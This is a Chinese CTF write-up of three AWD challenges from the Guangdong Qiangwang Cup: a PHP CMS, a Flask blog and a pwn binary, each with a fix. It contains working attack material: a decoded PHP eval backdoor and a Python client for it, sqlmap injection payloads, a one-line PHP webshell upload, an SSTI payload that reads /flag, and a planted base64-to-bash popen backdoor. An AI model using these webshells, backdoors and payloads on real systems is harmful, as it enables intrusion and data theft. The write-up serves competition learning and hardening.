本文首发于 https://xz.aliyun.com/t/6416
广东强网杯AWD题目分析
上周末跟着大佬去广外打了一场线下赛,上午是应急响应,总体难度不大,大部分队伍都完成了10题,剩余一题逻辑卷损坏不会做。下午是AWD,由于主办方问题,导致了比赛延迟了1小时才进行,给了大量的时间进行题目分析,3个环境都在1小时内写好EXP。同时还有两个非预期的翻车事故,一是所有靶机的密码竟然都是一样,导致不少队伍给别人改了密码。二是使用操作系统竟然不是最新的内核版本,导致被人进行了提权。下面总结一下3个题目找到的漏洞,以及防御方法。
web1 php

第一个web是一个php写的CMS
漏洞一 预置后门
使用D盾可以扫到一个后门

1 |
|
后门不是简单的一句话木马,需要调试分析1
2var_dump($I); // %00lambda_1
var_dump($q); // $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
整理一下代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
后门的流程如下:
- 首先用正则匹配post的内容,前缀为
$kh,后缀为$kf - 匹配内容进行base64解码
- 进行xor,key为
$k - 进行gzuncompress解压
- 进入eval执行代码
- 返回内容用相反的顺序进行加密
根据后门的流程编写python脚本即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests
import zlib
import re
import base64
def x(t,k):
return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])
session = requests.Session()
# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
cmd = 'system("cat /flag");'
cmd = zlib.compress(cmd)
cmd = x(cmd,"5ac91f7d")
cmd = base64.b64encode(cmd)
rawBody = "b9615a29bc1d{cmd}24d0b67c2c91".format(cmd=cmd)
response = session.post("http://192.168.100.101:50003/123.php", data=rawBody)
print("Response body: %s" % response.content)
res = re.findall(r'b9615a29bc1d(.+)24d0b67c2c91',response.content)[0]
# $r=@base64_encode(@x(@gzcompress($o),$k));
res = base64.b64decode(res)
res = x(res,"5ac91f7d")
res = zlib.decompress(res)
print(res)

漏洞一修复
比起之前见过的一些简单粗暴的内置一句话木马,这个后门相对复杂,不至于一上来就被人打爆。防御方式不用多说,直接删掉这段代码即可。
漏洞二 数据库注入
打开源码,会发现大量的数据库查询语句,一般只有addslashes,无任何过滤,例如:
1 | $id=addslashes($_GET['cid']); |
直接使用sqlmap跑一下就跑出来了1
2
3
4
5
6
7
8
9
10
11
12Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: r=software&cid=1 RLIKE (SELECT (CASE WHEN (6552=6552) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: r=software&cid=1 AND EXTRACTVALUE(9269,CONCAT(0x5c,0x716b766271,(SELECT (ELT(9269=9269,1))),0x716a626b71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: r=software&cid=1 AND SLEEP(5)
可以直接通过load_file来读取flag。
漏洞二修复
当时尝试把ctf用户降权,但是权限不够,那么只能从代码入手。可以在数据库查询之前,对输入参数进行过滤.
1 |
|
漏洞三 文件上传
查看数据库,可以看到后台密码
1 | mysql> select * from manage; |

登录后台可以进行头像上传

查看源码上传部分的代码
1 | if(!empty($_FILES['images']['tmp_name'])){ |
在/inc/up.class.php可能有过滤,查看一下代码1
2
3
4
5
6
7
8
9
10
11
12
class FileUpload_Single
{
//user define -------------------------------------
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|png|php";//string jpg|gif|bmp ...
var $filePrefix= "";
var $changNameMode=0;
var $uploadFile;
var $newFileName;
var $error;
发现默认竟然可以上传php!那么直接上传php马即可,文件路径会显示在头像路径那里。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49POST /admin/?r=manageinfo HTTP/1.1
Host: www.kira.com
Content-Length: 896
Cache-Control: max-age=0
Origin: http://www.kira.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbFN0WGFM34xqzmF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.kira.com/admin/?r=manageinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: PHPSESSID=553efd0695ddb859599983f05171102b; user=admin
Connection: close
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="user"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password2"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="mail"
me@baidu.so
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="qq"
86226999
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="images"; filename="123.php"
Content-Type: application/octet-stream
<?php @eval($_POST[c]);?>
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="save"
1
------WebKitFormBoundaryAbFN0WGFM34xqzmF--

漏洞三修复
修改/inc/up.class.php处的代码,删除$defineTypeList中的php,不允许上传php。
web2 python

第二个web是一个flask写的blog
漏洞一 SSTI
1 |
|
查看app.py,可以找到一个常见的SSTI漏洞,触发点是404,简单测试一下,发现确实可以模板注入。

代码自带了黑名单过滤,查用循环替换为空的过滤方式,浏览一下发现过滤不全,下划线,中括号,init,globals等关键字没有过滤,部分关键字可以使用字符串拼接的方式进行绕过。
最终读取flag的payload为:1
http://127.0.0.1:5000/login/{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}

漏洞一 修复方法
原题已经提供了过滤的函数,直接增加过滤关键字就可以进行修复,例如直接把下划线加入黑名单
1 | blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals'] |
漏洞二 预置后门
查看blog编辑器的代码flask_blogging/views.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
def editor(post_id):
blogging_engine = _get_blogging_engine(current_app)
cache = blogging_engine.cache
if cache:
_clear_cache(cache)
try:
with blogging_engine.blogger_permission.require():
post_processor = blogging_engine.post_processor
config = blogging_engine.config
storage = blogging_engine.storage
if request.method == 'POST':
form = BlogEditor(request.form)
if form.validate():
post = storage.get_post_by_id(post_id)
if (post is not None) and \
(PostProcessor.is_author(post, current_user)) and \
(str(post["post_id"]) == post_id):
pass
else:
post = {}
escape_text = config.get("BLOGGING_ESCAPE_MARKDOWN", False)
pid = _store_form_data(form, storage, current_user, post,
escape_text)
editor_post_saved.send(blogging_engine.app,
engine=blogging_engine,
post_id=pid,
user=current_user,
post=post)
flash("Blog posted successfully!", "info")
slug = post_processor.create_slug(form.title.data)
return redirect(url_for("blogging.page_by_id", post_id=pid,
slug=slug))
else:
flash("There were errors in blog submission", "warning")
return render_template("blogging/editor.html", form=form,
post_id=post_id, config=config)
else:
if post_id is not None:
post = storage.get_post_by_id(post_id)
if (post is not None) and \
(PostProcessor.is_author(post, current_user)):
tags = " ".join(post["tags"])
form = BlogEditor(title=post["title"],
text=post["text"], tags=tags, public=post['public'])
editor_get_fetched.send(blogging_engine.app,
engine=blogging_engine,
post_id=post_id,
form=form)
return render_template("blogging/editor.html",
form=form, post_id=post_id,
config=config)
else:
flash("You do not have the rights to edit this post",
"warning")
return redirect(url_for("blogging.index",
post_id=None))
form = BlogEditor()
try:
bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
except:
bingo = ''
return render_template("blogging/editor.html", form=form,
post_id=post_id, config=config, bingo=bingo)
except PermissionDenied:
flash("You do not have permissions to create or edit posts", "warning")
return redirect(url_for("blogging.index", post_id=None))
留意到这个函数有一句bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read(),进行了命令执行,base64解码可以看到执行了cat /flag
1 | echo Y2F0IC9mbGFnCg==|base64 -d |
函数开头有@login_required装饰器,因此需要进行登陆。
根据数据库的代码,可以找到数据库文件1
2
3
4
5
6
7
8
9
10
11app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/ezBlog.db'
class User(db.Model, UserMixin):
__tablename__ = 'user'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(32), unique=True)
password = db.Column(db.String(64), unique=True)
#posts = blog_db.relationship(, backref = , lazy = ) ## posts blongs to cur user
def __init__(self, username, password):
self.username = username
self.password = password
使用sqlite studio查看数据库,可以看到默认的账号密码

使用test,test登陆后,在blog编辑界面就可以看到flag

漏洞二 修复方法
方法一:直接把命令执行的代码删除或者改掉
方法二:修改后台弱口令
pwn
漏洞分析
1 | [*] '/home/kira/pwn/za/qwb' |
题目什么保护都没开,可见难度不会太大。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | int __fastcall magic(__int64 a1, int a2) |
函数功能不多,漏洞很明显:
- magic函数可以泄露栈地址,前提是v11是0x12345678。
- case 3可以进行栈溢出,刚好能覆盖到返回地址。
那么思路就是:
- 溢出覆盖v11为0x12345678,然后进行magic函数获取buff地址。
- 将shellcode写入buff,然后栈溢出覆盖返回地址为buff地址。
buf有0x38的长度供写入shellcode,卓卓有余,网上可以找22字节左右的shellcode,当然也可以自己写。
exp
1 | def pwn(p): |
漏洞修复
getshell的关键点是栈溢出,因此只要把输入长度限制到0x30,漏洞就无法利用。
1 | .text:000000000040086B lea rax, [rbp+buf] |
题目没有设置更高级的漏洞,略显无趣。
比较过分的是,有队伍进行了提权,然后把flag删除了,只能在flag刷新的时候疯狂跑EXP,有机会在对方删flag前拿到。